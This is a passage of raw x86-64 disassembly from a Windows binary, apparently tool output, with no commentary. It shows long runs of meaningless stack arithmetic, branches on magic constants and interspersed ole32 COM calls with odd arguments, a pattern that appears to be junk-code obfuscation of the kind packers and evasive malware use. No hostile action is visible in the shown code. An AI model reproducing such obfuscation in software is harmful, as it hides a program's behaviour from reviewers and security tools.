mov dword [rsp + 0x37d4], eax
mov rax, qword [0x14024a008]
mov rcx, qword [rsp + 0x6778]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x67a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x67c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x171]
sub eax, ecx
mov byte [rsp + 0x16f], al
jmp 0x14005a05e
movzx eax, word [rsp + 0xf60]
movzx ecx, word [rsp + 0xf6c]
add eax, ecx
mov rcx, qword [rsp + 0x6820]
mov word [rcx], ax
mov dword [rsp + 0x3844], 0xe84b
lea rax, [rsp + 0xf70]
mov qword [rsp + 0x6868], rax
mov rax, qword [rsp + 0x6798]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x67e8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6780]
mov byte [rcx], al
lea rax, [rsp + 0x105]
mov qword [rsp + 0x6870], rax
mov eax, dword [rsp + 0x3828]
mov dword [rsp + 0x3848], eax
cmp dword [rsp + 0x3848], 0x7139ca8a
je 0x14005a1a5
cmp dword [rsp + 0x3848], 0xc9c9f9e9
je 0x14005a0dc
jmp 0x14005a1d7
mov eax, dword [rsp + 0x3790]
mov dword [rsp + 0x384c], eax
cmp dword [rsp + 0x384c], 0x500542
je 0x14005a0f9
jmp 0x14005a120
lea r8, [rsp + 0x6798]
mov edx, 0x6c
lea rcx, [rsp + 0x3790]
call qword [sym.imp.ole32.dll_CoGetStdMarshalEx]
mov dword [rsp + 0x37bc], eax
jmp 0x14005a1a3
mov rax, qword [rsp + 0x67a8]
mov rcx, qword [0x14024a008]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6778], rax
mov rax, qword [rsp + 0x67b8]
mov ecx, dword [rsp + 0x373c]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x67b8]
mov dword [rcx], eax
lea r9, [rsp + 0x6800]
lea r8, [rsp + 0x3850]
lea rdx, str.calculative_Enjoyability
lea rcx, [rsp + 0x6800]
call qword [sym.imp.ole32.dll_MkParseDisplayName]
mov dword [rsp + 0x37d4], eax
mov rax, qword [rsp + 0x6738]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x37c4]
sar eax, cl
mov dword [rsp + 0x37a0], eax
jmp 0x14005a1d7
mov rax, qword [rsp + 0x6828]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6140]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x67a0]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x6778]
call fcn.1401fe800
nop
mov rax, qword [rsp + 0x6790]
movzx eax, word [rax]
mov dword [rsp + 0x3854], eax
cmp dword [rsp + 0x3854], 0
je 0x14005a1f5
jmp 0x14005a254
mov rax, qword [rsp + 0x67c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
shl eax, cl
mov rcx, qword [rsp + 0x67c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x67b8]
mov eax, dword [rax]
mov dword [0x14024b350], eax
mov dword [rsp + 0x3858], 0x7ad2
mov rax, qword [rsp + 0x6820]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc4c]
and eax, ecx
mov rcx, qword [rsp + 0x6790]
mov word [rcx], ax
jmp 0x14005a363
lea r8, [rsp + 0x6800]
lea rdx, [rsp + 0x28d50]
lea rcx, [rsp + 0x67b8]
call qword [sym.imp.ole32.dll_CoUnmarshalInterface]
mov dword [rsp + 0x378c], eax
movzx eax, byte [rsp + 0x173]
movzx ecx, byte [rsp + 0x105]
sub eax, ecx
mov rcx, qword [rsp + 0x6870]
mov byte [rcx], al
movzx eax, word [rsp + 0xf74]
movzx ecx, word [rsp + 0xf60]
add eax, ecx
mov rcx, qword [rsp + 0x6790]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x67f8]
movzx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jge 0x14005a322
mov rax, qword [rsp + 0x67f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf70]
sub eax, ecx
mov word [rsp + 0xf64], ax
mov rax, qword [rsp + 0x6868]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x67f0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6868]
mov word [rcx], ax
lea rdx, [rsp + 0x28d30]
lea rcx, [rsp + 0x28d50]
call qword [sym.imp.ole32.dll_CoGetObjectContext]
mov dword [rsp + 0x385c], eax
jmp 0x14005a363
mov rax, qword [0x14024a008]
mov rcx, qword [rsp + 0x6778]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x67a8]
cmp rax, qword [rcx]
jbe 0x14005a363
mov rax, qword [rsp + 0x67e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3758]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x67b0]
mov dword [rcx], eax
lea rax, [rsp + 0x3828]
mov qword [rsp + 0x6878], rax
mov rax, qword [rsp + 0x6828]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6840]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6140], rax
mov rax, qword [rsp + 0x67a8]
mov rcx, qword [0x14024a008]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6778], rax
mov rax, qword [rsp + 0x67e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6780]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6870]
mov byte [rcx], al
mov rax, qword [rsp + 0x67f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6790]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6820]
mov word [rcx], ax
movsx eax, byte [rsp + 0x172]
movsx ecx, byte [rsp + 0x171]
xor eax, ecx
mov rcx, qword [rsp + 0x6760]
mov byte [rcx], al
movzx eax, byte [rsp + 0x173]
movzx ecx, byte [rsp + 0x170]
or eax, ecx
mov byte [rsp + 0x105], al
movsx eax, byte [rsp + 0x171]
mov rcx, qword [rsp + 0x67c0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6760]
mov byte [rcx], al
mov rax, qword [rsp + 0x67b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3790]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3758], eax
mov rax, qword [rsp + 0x6140]
mov rcx, qword [rsp + 0x67d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6840], rax
mov eax, dword [rsp + 0x3820]
sub eax, 0xbf
mov dword [rsp + 0x3820], eax
mov rax, qword [rsp + 0x67a8]
mov rcx, qword [0x14024a008]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6778], rax
mov rax, qword [rsp + 0x67b8]
mov ecx, dword [rsp + 0x3828]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x67b8]
mov dword [rcx], eax
movsx eax, word [rsp + 0xf68]
mov rcx, qword [rsp + 0x6868]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf64], ax
mov rax, qword [rsp + 0x6868]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf68]
sub eax, ecx
mov rcx, qword [rsp + 0x67f0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x173]
mov rcx, qword [rsp + 0x67e8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6780]
mov byte [rcx], al
movsx eax, byte [rsp + 0x16f]
mov rcx, qword [rsp + 0x6740]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x67c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x67f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf6c]
or eax, ecx
mov rcx, qword [rsp + 0x6820]
mov word [rcx], ax
mov rax, qword [rsp + 0x67b0]
mov ecx, dword [rsp + 0x3790]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3738]
mov rcx, qword [rsp + 0x67b8]
mov qword [rsp + 0x6880], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6880]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x67b8]
mov dword [rcx], eax
cmp dword [rsp + 0x3820], 0x6201
ja 0x14005a373
lea rax, [rsp + 0x6840]
mov qword [rsp + 0x6888], rax
mov rax, qword [0x14024a008]
mov rcx, qword [rsp + 0x67a8]
mov qword [rsp + 0x6890], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6890]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x67a8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x37e4]
add eax, 0xdb
mov dword [rsp + 0x37e4], eax
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x172]
sub eax, ecx
mov byte [rsp + 0x16f], al
mov rax, qword [rsp + 0x67f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6820]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6790]
mov word [rcx], ax
mov rax, qword [rsp + 0x67e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6780]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x67e8]
mov byte [rcx], al
movsx eax, word [rsp + 0xf68]
movsx ecx, word [rsp + 0xf70]
add eax, ecx
mov word [rsp + 0xf64], ax
movzx eax, word [rsp + 0xf74]
movzx ecx, word [rsp + 0xf60]
sub eax, ecx
mov word [rsp + 0xc4c], ax
movzx eax, byte [rsp + 0x105]
movzx ecx, byte [rsp + 0x170]
add eax, ecx
mov rcx, qword [rsp + 0x67e8]
mov byte [rcx], al
mov eax, dword [rsp + 0x373c]
mov ecx, dword [rsp + 0x3764]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3840], eax
mov rax, qword [rsp + 0x6140]
mov rcx, qword [rsp + 0x67d8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x67a0]
mov qword [rcx], rax
mov rax, qword [0x14024a008]
mov rcx, qword [rsp + 0x6778]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x67a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x67e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x37c4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3790], eax
cmp dword [rsp + 0x37e4], 0x60ad
jb 0x14005a5da
cmp dword [rsp + 0x37e0], 0xd173
jae 0x14005a9e0
mov rax, qword [rsp + 0x67c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6740]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6760]
mov byte [rcx], al
mov rax, qword [rsp + 0x67f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf60]
shl eax, cl
mov rcx, qword [rsp + 0x67f8]
mov word [rcx], ax
movsx eax, word [rsp + 0xf70]
mov rcx, qword [rsp + 0x6868]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x67f0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x172]
mov rcx, qword [rsp + 0x6740]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6760]
mov byte [rcx], al
movsx eax, word [rsp + 0xf70]
movsx ecx, word [rsp + 0xf64]
add eax, ecx
mov word [rsp + 0xf68], ax
mov rax, qword [rsp + 0x6140]
mov rcx, qword [rsp + 0x67d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6840], rax
mov rax, qword [0x14024a008]
mov rcx, qword [rsp + 0x6778]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x67a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x67e0]
mov rcx, qword [rsp + 0x6738]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x67e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6878]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3764]
sub ecx, eax
mov eax, ecx
mov dword [0x14024b350], eax
mov eax, dword [rsp + 0x37e0]
add eax, 0xda
mov dword [rsp + 0x37e0], eax
mov rax, qword [rsp + 0x6790]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf74]
sub eax, ecx
mov word [rsp + 0xf60], ax
movzx eax, byte [rsp + 0x105]
movzx ecx, byte [rsp + 0x173]
add eax, ecx
mov rcx, qword [rsp + 0x67e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x67f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf64]
add eax, ecx
mov rcx, qword [rsp + 0x6868]
mov word [rcx], ax
mov rax, qword [rsp + 0x67c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x171]
sub eax, ecx
mov rcx, qword [rsp + 0x6760]
mov byte [rcx], al
mov rax, qword [rsp + 0x67f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf60]
sub eax, ecx
mov rcx, qword [rsp + 0x67f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x67d8]
mov rcx, qword [rsp + 0x6840]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x67a0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3758]
mov ecx, dword [rsp + 0x3790]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x67b0]
mov dword [rcx], eax
mov rax, qword [0x14024a008]
movzx ecx, al
mov rax, qword [rsp + 0x6778]
shr rax, cl
mov rcx, qword [rsp + 0x67a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x67b8]
mov ecx, dword [rsp + 0x3764]
mov eax, dword [rax]
or eax, ecx
mov dword [0x14024b350], eax
movsx eax, word [rsp + 0xf68]
mov rcx, qword [rsp + 0x67f0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xf64], ax
mov rax, qword [rsp + 0x67f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6790]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf6c], ax
jmp 0x14005a758
lea rax, [rsp + 0x173]
mov qword [rsp + 0x6898], rax
mov rax, qword [rsp + 0x67f8]
movzx eax, word [rax]
mov dword [rsp + 0x3860], eax
cmp dword [rsp + 0x3860], 0x331
je 0x14005aa93
cmp dword [rsp + 0x3860], 0xf24
je 0x14005aa25
jmp 0x14005abe9
mov rax, qword [0x14024a008]
mov rcx, qword [rsp + 0x6778]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x67a8]
cmp rax, qword [rcx]
jae 0x14005aa8e
lea r8, [rsp + 0x6828]
lea rdx, [rsp + 0x6868]
lea rcx, [rsp + 0x28d80]
call qword [sym.imp.ole32.dll_CoMarshalInterThreadInterfaceInStream]
mov dword [rsp + 0x37d4], eax
movsx eax, byte [rsp + 0x171]
mov rcx, qword [rsp + 0x67c0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x172], al
call fcn.1401fe730
nop
jmp 0x14005abe9
movzx eax, byte [rsp + 0x173]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6870]
mov byte [rcx], al
mov rax, qword [rsp + 0x6828]
mov rax, qword [rax]
mov qword [rsp + 0x68a0], rax
movabs rax, 0x556b57e51ed400cf
cmp qword [rsp + 0x68a0], rax
je 0x14005abb6
movabs rax, 0x66c437222fbeb71c
cmp qword [rsp + 0x68a0], rax
je 0x14005aaf6
jmp 0x14005abe9
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x171]
sub eax, ecx
movsx ecx, byte [rsp + 0x172]
mov rdx, qword [rsp + 0x67c0]
movsx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jl 0x14005ab60
mov rax, qword [rsp + 0x67a8]
mov rax, qword [rax]
mov rcx, qword [0x14024a008]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6778], rax
mov edx, 0x41
lea rcx, [rsp + 0x173]
call qword [sym.imp.ole32.dll_CoDisconnectObject]
mov dword [rsp + 0x3838], eax
jmp 0x14005abb4
mov rax, qword [rsp + 0x67a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6828]
mov qword [rsp + 0x68a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x68a8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x6828]
mov qword [rcx], rax
mov rax, qword [rsp + 0x66e8]
mov rcx, qword [rsp + 0x67b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x37a0], eax
jmp 0x14005abe9
mov rax, qword [rsp + 0x6878]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x67b8]
mov qword [rsp + 0x68b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x68b0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x67b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6790]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf6c]
or eax, ecx
mov word [rsp + 0xf60], ax
lea rax, [rsp + 0x172]
mov qword [rsp + 0x68b8], rax
movsx eax, word [rsp + 0xf64]
movsx ecx, word [rsp + 0xf68]
and eax, ecx
mov rcx, qword [rsp + 0x6868]
mov word [rcx], ax
movzx eax, byte [rsp + 0x173]
mov rcx, qword [rsp + 0x6780]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6870]
mov byte [rcx], al
movsx eax, byte [rsp + 0x171]
movsx ecx, byte [rsp + 0x16f]
add eax, ecx
mov byte [rsp + 0x172], al
mov rax, qword [rsp + 0x67a8]
mov rax, qword [rax]
mov rcx, qword [0x14024a008]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6778], rax
mov rax, qword [rsp + 0x6878]
mov ecx, dword [rsp + 0x373c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3764], eax
mov rax, qword [rsp + 0x67e0]
mov rcx, qword [rsp + 0x66e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6738]
mov dword [rcx], eax
mov rax, qword [rsp + 0x67a0]
mov rcx, qword [rsp + 0x67d8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x67a0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x170]
movzx ecx, byte [rsp + 0x105]
sub eax, ecx
mov byte [rsp + 0x173], al
mov rax, qword [rsp + 0x67f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6790]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x67f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6868]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x67f0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6868]
mov word [rcx], ax
movsx eax, byte [rsp + 0x172]
movsx ecx, byte [rsp + 0x16f]
shl eax, cl
mov rcx, qword [rsp + 0x67c0]
mov byte [rcx], al
mov eax, dword [rsp + 0x3804]
add eax, 0xf8
mov dword [rsp + 0x3804], eax
mov rax, qword [rsp + 0x67f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6820]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xc4c], ax
mov rax, qword [rsp + 0x67a8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x14024a008]
shr rax, cl
mov qword [rsp + 0x6778], rax
mov eax, dword [rsp + 0x37c4]
mov ecx, dword [rsp + 0x3758]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x37a0], eax
mov rax, qword [rsp + 0x6828]
mov rcx, qword [rsp + 0x6888]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x67a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6878]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3840]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x67b8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x105]
mov rcx, qword [rsp + 0x6780]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6870]
mov byte [rcx], al
mov rax, qword [rsp + 0x6870]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x173]
sub eax, ecx
mov byte [rsp + 0x170], al
movsx eax, byte [rsp + 0x171]
movsx ecx, byte [rsp + 0x16f]
add eax, ecx
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
mov rax, qword [rsp + 0x67f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf70]
sub eax, ecx
mov word [rsp + 0xf68], ax
mov rax, qword [rsp + 0x6820]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf6c]
and eax, ecx
mov rcx, qword [rsp + 0x67f8]
mov word [rcx], ax
mov rax, qword [0x14024a008]
mov rcx, qword [rsp + 0x6778]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x67a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6888]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6840]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6828]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6878]
mov rcx, qword [rsp + 0x67b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6878]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6778]
mov rcx, qword [rsp + 0x67a8]
mov qword [rsp + 0x68c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x68c0]
mov rax, qword [rax]
shl rax, cl
mov qword [0x14024a008], rax
mov rax, qword [rsp + 0x6790]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf6c]
xor eax, ecx
mov word [rsp + 0xf74], ax
movzx eax, byte [rsp + 0x173]
movzx ecx, byte [rsp + 0x105]
or eax, ecx
mov rcx, qword [rsp + 0x6870]
mov byte [rcx], al
mov rax, qword [rsp + 0x6868]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x67f0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xf64], ax
mov rax, qword [rsp + 0x6868]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf70]
and eax, ecx
mov rcx, qword [rsp + 0x67f0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x16f]
mov rcx, qword [rsp + 0x6740]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x171], al
mov rax, qword [rsp + 0x67a0]
mov rcx, qword [rsp + 0x6828]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6140], rax
mov eax, dword [rsp + 0x37a0]
mov ecx, dword [rsp + 0x3790]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x67e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6878]
mov rcx, qword [rsp + 0x67b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6878]
mov dword [rcx], eax
mov rax, qword [rsp + 0x67a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6778]
add rcx, rax
mov rax, rcx
mov qword [0x14024a008], rax
movsx eax, word [rsp + 0xf68]
mov rcx, qword [rsp + 0x6868]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf64], ax
movzx eax, byte [rsp + 0x173]
mov rcx, qword [rsp + 0x6780]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6790]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf60]
add eax, ecx
mov rcx, qword [rsp + 0x6820]
mov word [rcx], ax
mov rax, qword [rsp + 0x67c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
or eax, ecx
mov byte [rsp + 0x171], al
movzx eax, byte [rsp + 0x105]
mov rcx, qword [rsp + 0x6780]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x170], al
cmp dword [rsp + 0x3804], 0x1c3f
jne 0x14005ac16
mov rax, qword [rsp + 0x67b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3828]
shl eax, cl
mov dword [rsp + 0x3738], eax
mov rax, qword [rsp + 0x6140]
movzx ecx, al
mov rax, qword [rsp + 0x67d8]
sar rax, cl
mov qword [rsp + 0x6840], rax
mov eax, dword [rsp + 0x37a0]
mov ecx, dword [rsp + 0x37c4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3758], eax
mov rax, qword [rsp + 0x67a8]
mov rcx, qword [rsp + 0x6778]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x67a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6878]
mov ecx, dword [rsp + 0x3738]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14024b350], eax
mov rax, qword [rsp + 0x6790]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf60]
sub eax, ecx
mov word [rsp + 0xc4c], ax
movzx eax, word [rsp + 0xf74]
mov rcx, qword [rsp + 0x67f8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6820]
mov word [rcx], ax
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x172]
sub eax, ecx
mov byte [rsp + 0x171], al
mov rax, qword [rsp + 0x67f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6868]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf64], ax
mov eax, dword [rsp + 0x3818]
sub eax, 9
mov dword [rsp + 0x3818], eax
mov rax, qword [rsp + 0x67b8]
mov rcx, qword [rsp + 0x6878]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x67b8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x37c4]
mov ecx, dword [rsp + 0x3758]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x67b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x67a8]
mov rcx, qword [0x14024a008]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6778], rax
mov rax, qword [rsp + 0x6888]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6140]
shl rax, cl
mov rcx, qword [rsp + 0x67a0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x170]
mov rcx, qword [rsp + 0x6798]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6780]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x173]
or eax, ecx
mov rcx, qword [rsp + 0x6798]
mov byte [rcx], al
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x171]
sar eax, cl
mov rcx, qword [rsp + 0x67c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6868]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf64]
sub eax, ecx
mov word [rsp + 0xf70], ax
movsx eax, word [rsp + 0xf70]
mov rcx, qword [rsp + 0x6868]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x67f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x67a8]
mov rcx, qword [rsp + 0x6778]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x67a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x67a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6140]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x67d8], rax
mov rax, qword [rsp + 0x6878]
mov ecx, dword [rsp + 0x3738]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3840], eax
cmp dword [rsp + 0x3818], 0x75e8
jae 0x14005b0ef
cmp dword [rsp + 0x37c8], 0x9ac9
jbe 0x14005b7b0
mov rax, qword [rsp + 0x67e0]
mov rcx, qword [rsp + 0x6738]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x67b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6878]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3738]
add ecx, eax
mov eax, ecx
mov dword [0x14024b350], eax
mov rax, qword [rsp + 0x67c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
sub eax, ecx
mov rcx, qword [rsp + 0x68b8]
mov byte [rcx], al
movsx eax, word [rsp + 0xf64]
mov rcx, qword [rsp + 0x6868]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x67f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x67f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc4c]
sub eax, ecx
mov rcx, qword [rsp + 0x6820]
mov word [rcx], ax
movzx eax, word [rsp + 0xf60]
mov rcx, qword [rsp + 0x6820]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf74], ax
mov rax, qword [rsp + 0x67c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
or eax, ecx
mov rcx, qword [rsp + 0x6760]
mov byte [rcx], al
mov rax, qword [rsp + 0x6140]
mov rcx, qword [rsp + 0x6840]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x67a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x67a8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x14024a008]
